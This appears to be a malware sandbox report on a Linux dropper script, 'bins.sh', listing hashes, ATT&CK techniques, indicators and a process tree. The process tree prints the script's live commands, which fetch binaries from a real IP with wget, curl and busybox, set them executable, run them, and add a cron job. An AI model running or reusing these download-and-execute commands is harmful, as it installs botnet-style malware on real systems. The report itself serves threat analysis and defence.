8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 19:47

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General

Target

bins.sh
Size

10KB
MD5

1af48b59e54a461d801c58a2e6f2853e
SHA1

d8ce0cc7e067bbcc17e7f02651135515cac789e0
SHA256

8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af
SHA512

984eab328dd823233835ab7ec678a632f3ad7671948c58ee5dceba6e0045e15f937a944c47263608dde996c12ab3284cb1230616d9e179db3332f0612c898eab
SSDEEP

96:FhFtmK6NFXTn4C+dwkev3JSIxj4P8wkev3JUIxCI5mK6NFtdf42BhF3Cci:8Tn4C+dwkev3JSKFwkev3J4W

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2077) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
1512	chmod
1498	chmod
1505	chmod

Executes dropped EXE 3 IoCs

Processes:

hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATNh8thNalBVsVsZGzxShbyd3BrADft88FHF5qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

ioc	pid	Process
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	1499	hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	1506	h8thNalBVsVsZGzxShbyd3BrADft88FHF5
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	1513	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Renames itself 1 IoCs

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

pid	Process
1514	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.CZPEkk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

description	ioc	Process
File opened for reading	/proc/168/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1760/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1683/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1773/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/26/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1340/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1701/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1770/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/35/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1050/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1564/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/36/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1651/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1550/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1588/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1663/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1714/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/20/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/161/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1137/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1658/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1730/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1788/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1661/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1722/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1557/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1672/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1594/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/668/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/674/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1239/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1582/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1741/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/155/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/484/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1612/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1646/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1673/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1740/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/14/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/334/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/455/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1694/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1727/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1744/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/30/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/538/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1127/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1655/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1733/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/10/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/98/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1570/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1604/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/84/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1036/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1057/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1689/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1762/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1765/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1086/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1559/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/162/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1540/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxwgetbusyboxcurlbusyboxcurlcurlwget

description	ioc	Process
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	wget
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	busybox
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	wget
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	busybox
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	curl
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	busybox
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	curl
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	curl
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1472
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1473
- /usr/bin/wget
  wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Executes dropped EXE
  PID:1499
- /bin/rm
  rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1502
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/chmod
  chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - File and Directory Permissions Modification
  PID:1505
- /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Executes dropped EXE
  PID:1506
- /bin/rm
  rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1509
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/chmod
  chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1513
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1515
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1516
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1517
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1518
- /bin/rm
  rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  PID:1523

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.CZPEkk

Filesize
210B

MD5
1d494093c9d60257b258afdeb4aefb16

SHA1
d2942eaad9faa9ba428e5b4d98242c8ce2d2389f

SHA256
f0b76875e63d5fba662aee37c9b4fcf160675d6c950f9217751fe4a00a7424f7

SHA512
f9597f75f66d8d368cdebaed5d06cae01f9629b347b91ff19cde7f05e8c9519b5b09a4a550839d858e75ff818190ba75f5f537fee0984932c54ae531ed58b7cb

Download Submit